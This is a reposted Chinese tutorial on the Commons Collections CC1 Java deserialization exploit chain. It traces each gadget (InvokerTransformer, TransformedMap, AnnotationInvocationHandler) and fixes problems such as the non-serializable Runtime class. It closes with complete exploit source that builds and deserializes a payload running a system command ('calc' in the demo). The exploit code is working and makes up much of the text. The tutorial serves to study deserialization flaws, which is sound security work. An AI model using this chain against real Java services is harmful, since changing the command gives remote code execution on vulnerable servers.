欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 文旅 > 文化 > WEB安全--Java安全--CC1利用链

WEB安全--Java安全--CC1利用链

2025/5/15 14:56:51 来源:https://blog.csdn.net/m0_74800552/article/details/147953516  浏览:    关键词:WEB安全--Java安全--CC1利用链

一、梳理基本逻辑

WEB后端JVM通过readObject()的反序列化方式接收用户输入的数据

用户编写恶意代码并将其序列化为原始数据流

WEB后端JVM接收到序列化后恶意的原始数据并进行反序列化 

当调用:
ObjectInputStream.readObject()

JVM 内部逻辑:
→ 反序列化 AnnotationInvocationHandler.class
→ 检查到类里定义了 private void readObject(ObjectInputStream)
→ 自动调用 readObject()

于是我们通过这个入口将整条链都执行了,最后执行命令

二、CC1的基本形态构建

2.1、Runtime.getRuntime().exec()

Java执行系统命令的方式

正常写法:

Runtime.getRuntime().exec("calc");

反射写法:

Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");

2.2、InvokeTransformer.transform()

重写了Transformer接口的transform方法,能执行命令

在InvokeTransformer()中传入待执行的方法名(exec)、类的类型(String.class)和具体命令(calc)

在InvokeTransformer的transform()中传入要执行方法的对象(r)

Runtime r = Runtime.getRuntime();
//        Class c = Runtime.class;
//        Method execMethod = c.getMethod("exec", String.class);
//        execMethod.invoke(r,"calc");
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

其作用等价于

Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");

也等价于

Runtime.getRuntime().exec("calc");

2.3、TransformedMap.checkSetValue()

会调用transform -> 需要通过TransformedMap.decorate()间接调用

可以看到图3调用了transform()方法;

并且由图1知道该类是对Map进行处理的类,为了达到我们想要的效果,我们得自己构造一个Hash Map;

而且可以看到图3最后是对valueTransformer进行操作的,所以我们可以把InvokeTransformer对象当做valueTransformer传递给TransformedMap的decorate()方法:

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);

所以当TransformedMap处理我们的对象时,就会调用InvokeTransformer.transform()

也就是等价于:

protected Object checkSetValue(Object value) {return InvokeTransformer.transform(value);
}

2.4、MapEntry.setValue()

TransformedMap的抽象父类AbstractInputCheckedMapDecorator

中的MapEntry副类中的setValue()方法调用了checkSetValue()

HashMap在遍历的时候,一个键值对就叫Entry;

MapEntry的setValue()实际上就是重写的Entry的setValue();

所以当遍历我们构造的transformedMap对象时,就会走到MapEntry的setValue()方法;

进而调用setValue()中调用的checkSetValue():

HashMap<Object,Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);for(Map.Entry entry:transformedMap.entrySet()){entry.setValue(r);
}

当transformedMap被遍历时,就会执行命令:

2.5、AnnotationInvocationHandler.readObject()

AnnotationInvocationHandler重写了readObject()方法,执行AnnotationInvocationHandler.readObject()时会调用setValue()

因为这个类的构造方法不是public,所以我们要通过反射获取该类及其方法

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AnnotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandlerConstructor.setAccessible(true);
Object hacker = AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);

三、整理内容

3.1、思路梳理(正向)

1、现在我们构建的这个对象,会在反序列化的时候自动触发AnnotationInvocationHandler中的readObject()方法,原理如下;

2、当执行该重写的readObject()方法时,会触发调用MapEntry.setValue(),因为AnnotationInvocationHandler.readObject()的内部机制:

当反序列化AnnotationInvocationHandler时会自动遍历我们传递的transformedMap,从而执行MapEntry的setValue()方法

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {memberValue.setValue(...);  // ← 这里就触发了 transformedMap 的 checkSetValue()
}

3、当MapEntry.setValue()被执行时,会执行TransformedMap.checkSetValue(),因为:

TransformedMap.decorate()返回的Map包装了原始的entrySet(),当调用entry.setValue()时,其实是在调用TransformedMap.MapEntry.setValue(),而这个方法正好调用了checkSetValue()

当遍历我们构造的transformedMap对象时,就会走到MapEntry的setValue()方法;

进而调用setValue()中调用的checkSetValue():

4、当TransformedMap.checkSetValue()被调用时,会调用InvokeTransformer.transform(),因为:

我们把InvokeTransformer对象当做valueTransformer传递给TransformedMap的decorate()方法

而decorate()方法就会间接调用checkSetValue(),然后间接调用InvokeTransformer.transform(),相当于

protected Object checkSetValue(Object value) {return InvokeTransformer.transform(value);
}

5、当InvokeTransformer.transform()被调用,就基于我们实例化的Runtime对象r进行命令执行

3.2、EXP雏形

package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class CC1 {public static void main(String[] args) throws Exception{
//        Runtime.getRuntime().exec("calc");Runtime r = Runtime.getRuntime();
//        Class c = Runtime.class;
//        Method execMethod = c.getMethod("exec", String.class);
//        execMethod.invoke(r,"calc");InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});HashMap<Object,Object> map = new HashMap<>();map.put("key","value");Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);//        for(Map.Entry entry:transformedMap.entrySet()){
//            entry.setValue(r);
//        }Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor AnnotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);AnnotationInvocationHandlerConstructor.setAccessible(true);Object hacker = AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);serialize(hacker);unserialize("hacker.bin");}public static void serialize(Object obj) throws Exception{ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("hacker.bin"));oss.writeObject(obj);}public static Object unserialize(String Filename) throws Exception,ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}}

 

四、问题处理

4.1、Runtime不能被序列化

我们跟进到Runtime里看一下,发现它没有serializable接口,不能被序列化:

但是我们可以运用反射来获取它的原型类,它的原型类class是存在serializable接口,可以序列化

那么我们怎么获取一个实例化对象呢,这里我们看到存在一个静态的getRuntime方法,这个方法会返回一个Runtime对象,相当于是一种单例模式:

用反射构建一个Runtime对象(能执行命令):

//获取类原型
Class c = Runtime.class;
//获取getRuntime方法
Method getRuntimeMethod = c.getMethod("getRuntime",null);//获取实例化对象,因为该方法无无参方法,所以全为null
Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
//获取exec方法
Method execMehod = c.getMethod("exec", String.class);
//实现命令执行
execMehod.invoke(r,"calc");

因为我们最后执行是依靠InvokeTransformer.transform(),所以要将上述代码进行变形,使其用InvokeTransformer.transform()的形式呈现(能执行命令):

参考InvokeTransformer.transform()执行对象方法的原理

\\InvokeTransformer(方法).transform(对象)\\

//获取类原型
Class c = Runtime.class;
//模拟获取getRuntime方法
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//模拟获取invoke方法
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
//模拟获取exec方法,并进行命令执行
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

但是这样要一个个嵌套创建参数太麻烦了,我们这里找到了一个Commons Collections库中存在的ChainedTransformer类,它也存在transform方法可以帮我们遍历InvokerTransformer,并且调用transform方法:

Transformer[] transformers = new Transformer[]{new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

4.2、AnnotationInvocationHandler类下的readObject方法的条件判断

这里memeberType是获取注解中成员变量的名称,然后并且检查键值对中键名是否有对应的名称

而我们发现另一个注解@Target中有个名为value的成员变量,所以我们就可以使用这个注解,

并改第一个键值对的值为value:

4.3、AnnotationTypeMismatchExceptionProxy不能转换为Runtime.class

把上述问题解决后我们再观察,因为AnnotationInvocationHandler.readObject()是入口,当反序列化触发readObject()时,该方法默认创建了一个对象AnnotationTypeMismatchExceptionProxy:

可以发现,链条虽然被触发了,不过AnnotationTypeMismatchExceptionProxy这个对象最后传到ChainedTransformer类中是不能执行方法的,我们想要的是获取Runtime.class对象:

protected Object checkSetValue(Object value) {return ChainedTransformer.transform(Runtime.class);
}

而不是: 

protected Object checkSetValue(Object value) {return ChainedTransformer.transform(AnnotationTypeMismatchExceptionProxy);
}

 所以我们需要把AnnotationTypeMismatchExceptionProxy改为Runtime.class

ConstantTransformer:我们传入什么值,就会返回什么值

这个类就能把AnnotationTypeMismatchExceptionProxy改为Runtime.class

在到达最后一步InvokeTransformer.transform()对某个对象执行其命令之前,将Runtime.class作为对象输出给它

 至此,CC1链的问题就全部解决了。

五、最终EXP

package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class ZCC1_final {public static void main(String[] args) throws Exception{Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);HashMap<Object,Object> map = new HashMap<>();map.put("value","value");Map<Object,Object> transformed = TransformedMap.decorate(map,null,chainedTransformer);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotation = c.getDeclaredConstructor(Class.class,Map.class);annotation.setAccessible(true);Object o = annotation.newInstance(Target.class,transformed);serialize(o);unserialize("ser.bin");}public static void serialize(Object obj) throws Exception{ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin"));oss.writeObject(obj);}public static Object unserialize(String Filename) throws Exception{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}}

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词